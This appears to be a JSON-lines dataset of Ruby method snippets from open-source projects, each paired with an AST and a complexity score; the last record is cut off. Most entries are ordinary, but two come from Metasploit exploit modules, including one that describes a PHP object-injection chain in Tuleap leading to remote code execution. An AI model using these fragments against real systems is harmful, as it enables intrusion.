{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/views/devise/sessions/new.html.haml_spec.rb","start_line":43,"raw_source":"def disable_sign_up\n    allow(view).to receive(:allow_signup?).and_return(false)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_sign_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"view\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allow_signup?\"]}]},\"and_return\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"f9880f96-7a47-4c6b-9033-67d3681508d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":185,"raw_source":"def test_scopes_name_is_relation_method\n    conflicts = [\n      :records,\n      :to_ary,\n      :to_sql,\n      :explain\n    ]\n\n    conflicts.each do |name|\n      e = assert_raises ArgumentError do\n        Class.new(Post).class_eval { scope name, -> { where(approved: true) } }\n      end\n      assert_match(/You tried to define a scope named \"#{name}\" on the model/, e.message)\n    end\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scopes_name_is_relation_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conflicts\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"sym\",\"children\":[\"to_ary\"]},{\"type\":\"sym\",\"children\":[\"to_sql\"]},{\"type\":\"sym\",\"children\":[\"explain\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Post\"]}]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"You tried to define a scope named \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" on the model\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]}","id":"a301714f-cf45-4488-bc1f-f3c5be8364b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/styles.rb","start_line":80,"raw_source":"def wp_detail_subject_margins\n      resolve_margin(@styles.dig(:work_package, :subject))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wp_detail_subject_margins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"sym\",\"children\":[\"subject\"]}]}]}]}","id":"c9d10189-f57d-460d-88d1-af6e29955788"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/base.rb","start_line":363,"raw_source":"def contextual_autocorrect?\n        cop_config.fetch('AutoCorrect', 'always') == 'contextual'\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"contextual_autocorrect?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"AutoCorrect\"]},{\"type\":\"str\",\"children\":[\"always\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"contextual\"]}]}]}","id":"1b5b7667-77d3-49e8-aca2-2fa50c500e62"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/open_file_link_query.rb","start_line":57,"raw_source":"def request_parent_id(http, file_id)\n              drive_item_query.call(http:, drive_item_id: file_id, fields: %w[parentReference]).fmap { it.dig(:parentReference, :id) }\n            end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_parent_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]},{\"type\":\"arg\",\"children\":[\"file_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drive_item_query\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drive_item_id\"]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"parentReference\"]}]}]}]}]},\"fmap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"parentReference\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"55b02e7d-b399-42f0-b216-3dc0d003d30d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/notification.rb","start_line":299,"raw_source":"def self.recent_report(user, count = nil, types = [])\n    return unless user && user.user_option\n\n    count ||= 10\n    notifications = user.notifications.visible.recent(count).includes(:topic)\n\n    notifications = notifications.where(notification_type: types) if types.present?\n    if user.user_option.like_notification_frequency ==\n         UserOption.like_notification_frequency_type[:never]\n      [\n        Notification.types[:liked],\n        Notification.types[:liked_consolidated],\n      ].each { |notification_type| notifications = notifications.where.not(notification_type:) }\n    end\n\n    notifications = notifications.to_a\n\n    if notifications.present?\n      builder = DB.build(<<~SQL)\n         SELECT n.id FROM notifications n\n         /*where*/\n        ORDER BY n.id ASC\n        /*limit*/\n      SQL\n\n      builder.where(<<~SQL, user_id: user.id)\n        n.high_priority = TRUE AND\n        n.user_id = :user_id AND\n        NOT read\n      SQL\n      builder.where(\"notification_type IN (:types)\", types: types) if types.present?\n      builder.limit(count.to_i)\n\n      ids = builder.query_single\n\n      if ids.length > 0\n        notifications +=\n          user\n            .notifications\n            .order(\"notifications.created_at DESC\")\n            .where(id: ids)\n            .joins(:topic)\n            .limit(count)\n      end\n\n      notifications\n        .uniq(&:id)\n        .sort do |x, y|\n          if x.unread_high_priority? && !y.unread_high_priority?\n            -1\n          elsif y.unread_high_priority? && !x.unread_high_priority?\n            1\n          else\n            y.created_at <=> x.created_at\n          end\n        end\n        .take(count)\n    else\n      []\n    end\n  end","complexity_score":98.98,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"recent_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"count\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"types\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_option\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notifications\"]},\"visible\"]},\"recent\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"topic\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_option\"]},\"like_notification_frequency\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserOption\"]},\"like_notification_frequency_type\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"never\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"liked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"liked_consolidated\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"notification_type\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"build\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" SELECT n.id FROM notifications n\\n\"]},{\"type\":\"str\",\"children\":[\" /*where*/\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY n.id ASC\\n\"]},{\"type\":\"str\",\"children\":[\"/*limit*/\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"n.high_priority = TRUE AND\\n\"]},{\"type\":\"str\",\"children\":[\"n.user_id = :user_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"NOT read\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"notification_type IN (:types)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"types\"]},{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"query_single\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notifications\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notifications\"]},\"order\",{\"type\":\"str\",\"children\":[\"notifications.created_at DESC\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"topic\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"uniq\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]},{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"unread_high_priority?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"unread_high_priority?\"]},\"!\"]}]},{\"type\":\"int\",\"children\":[-1]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"unread_high_priority?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"unread_high_priority?\"]},\"!\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"created_at\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"created_at\"]}]}]}]}]},\"take\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"6be5febf-f227-4ca1-99ef-f00df91a4e3a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":1271,"raw_source":"def initialize(reflection, previous_reflection)\n        super()\n        @reflection = reflection\n        @previous_reflection = previous_reflection\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]},{\"type\":\"arg\",\"children\":[\"previous_reflection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@reflection\",{\"type\":\"lvar\",\"children\":[\"reflection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_reflection\",{\"type\":\"lvar\",\"children\":[\"previous_reflection\"]}]}]}]}","id":"5b5a1ed7-aa09-4864-8fe6-c971c5e12e26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/login_helpers.rb","start_line":67,"raw_source":"def gitlab_sign_out(user = @current_user)\n    if has_testid?('super-sidebar')\n      click_on \"#{user.name} user’s menu\"\n    else\n      # This can be removed once https://gitlab.com/gitlab-org/gitlab/-/issues/420121 is complete.\n      find(\".header-user-dropdown-toggle\").click\n    end\n\n    click_link \"Sign out\"\n    @current_user = nil\n\n    expect(page).to have_button('Sign in')\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_sign_out\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_testid?\",{\"type\":\"str\",\"children\":[\"super-sidebar\"]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" user’s menu\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".header-user-dropdown-toggle\"]}]},\"click\"]}]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"str\",\"children\":[\"Sign out\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_button\",{\"type\":\"str\",\"children\":[\"Sign in\"]}]}]}]}]}","id":"edad5977-fdfe-4cda-8b59-20cc9bde00d4"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/models/spree/admin/form_builder.rb","start_line":217,"raw_source":"def field_help(_method, options = {})\n        @template.content_tag(:span, options[:help], class: 'form-text mt-2')\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"field_help\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"help\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"form-text mt-2\"]}]}]}]}]}","id":"05412366-9ee6-47cf-9271-a12a1d15e018"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":126,"raw_source":"def test_getting_of_singly_nested_dependencies\n    singly_nested_dependencies = [\"messages/header\", \"messages/form\", \"messages/message\", \"events/event\", \"comments/comment\"]\n    assert_equal singly_nested_dependencies, nested_dependencies(\"messages/edit\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_getting_of_singly_nested_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"singly_nested_dependencies\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"messages/header\"]},{\"type\":\"str\",\"children\":[\"messages/form\"]},{\"type\":\"str\",\"children\":[\"messages/message\"]},{\"type\":\"str\",\"children\":[\"events/event\"]},{\"type\":\"str\",\"children\":[\"comments/comment\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"singly_nested_dependencies\"]},{\"type\":\"send\",\"children\":[null,\"nested_dependencies\",{\"type\":\"str\",\"children\":[\"messages/edit\"]}]}]}]}]}","id":"a1164bd2-330c-4871-86d3-ea65e99143b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/json_table_filter.rb","start_line":24,"raw_source":"def call\n        doc.xpath(XPATH).each do |node|\n          process_json_table(node)\n        end\n\n        doc\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"xpath\",{\"type\":\"const\",\"children\":[null,\"XPATH\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"process_json_table\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"doc\"]}]}]}","id":"0b242c18-02c0-48d2-8478-7f3441c2ee40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ueb_api_rce.rb","start_line":129,"raw_source":"def exploit\n    print_status(\"#{peer} - Sending requests to UEB...\")\n    execute_cmdstager(:linemax => 120)\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Sending requests to UEB...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[120]}]}]}]}]}]}","id":"d7293769-9418-488d-b420-4f4c8aa67e15"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/time_entry.rb","start_line":143,"raw_source":"def start_time=(value)\n    if value.is_a?(String) && value =~ /\\A(\\d{1,2}):(\\d{2})\\z/\n      super(($1.to_i * 60) + $2.to_i)\n    else\n      super\n    end\n  end","complexity_score":9.78,"ast_json":"{\"type\":\"def\",\"children\":[\"start_time=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(\\\\d{1,2}):(\\\\d{2})\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"to_i\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"cb676e7b-2f9b-423f-b8b4-9d8d13fb3ee2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/next.rb","start_line":160,"raw_source":"def if_without_else?(node)\n          node&.if_type? && !node.ternary? && !node.else?\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"if_without_else?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else?\"]},\"!\"]}]}]}","id":"2439600c-f609-4dbe-938a-233b0e88350f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/ssh.rb","start_line":20,"raw_source":"def uri=(address)\n        @uri = URI(address)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"uri=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}]}","id":"8f7244ac-ed11-4fd5-949b-e39695dd222c"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/disk_service.rb","start_line":155,"raw_source":"def folder_for(key)\n        [ key[0..1], key[2..3] ].join(\"/\")\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"folder_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}","id":"2f0687f1-874b-41dc-a962-b59227aaef10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Tuleap PHP Unserialize Code Execution',\n        'Description' => %q{\n          This module exploits a PHP object injection vulnerability in Tuleap <= 7.6-4 which could be\n          abused to allow authenticated users to execute arbitrary code with the permissions of the\n          web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'\n          file. The exploit abuses the destructor method from the Jabbex class in order to reach a\n          call_user_func_array() call in the Jabber class and call the fetchPostActions() method from\n          the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In\n          order to work, the target must have the 'sys_create_project_in_one_step' option disabled.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'EgiX',\n        'References' => [\n          ['CVE', '2014-8791'],\n          ['URL', 'http://karmainsecurity.com/KIS-2014-13'],\n          ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']\n        ],\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [['Generic (PHP Payload)', {}]],\n        'DisclosureDate' => '2014-11-27',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, \"The base path to the web application\", \"/\"]),\n        OptString.new('USERNAME', [true, \"The username to authenticate with\" ]),\n        OptString.new('PASSWORD', [true, \"The password to authenticate with\" ]),\n        OptBool.new('SSL', [true, \"Negotiate SSL for outgoing connections\", true]),\n        Opt::RPORT(443)\n      ]\n    )\n  end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Tuleap PHP Unserialize Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a PHP object injection vulnerability in Tuleap <= 7.6-4 which could be\\n\"]},{\"type\":\"str\",\"children\":[\"          abused to allow authenticated users to execute arbitrary code with 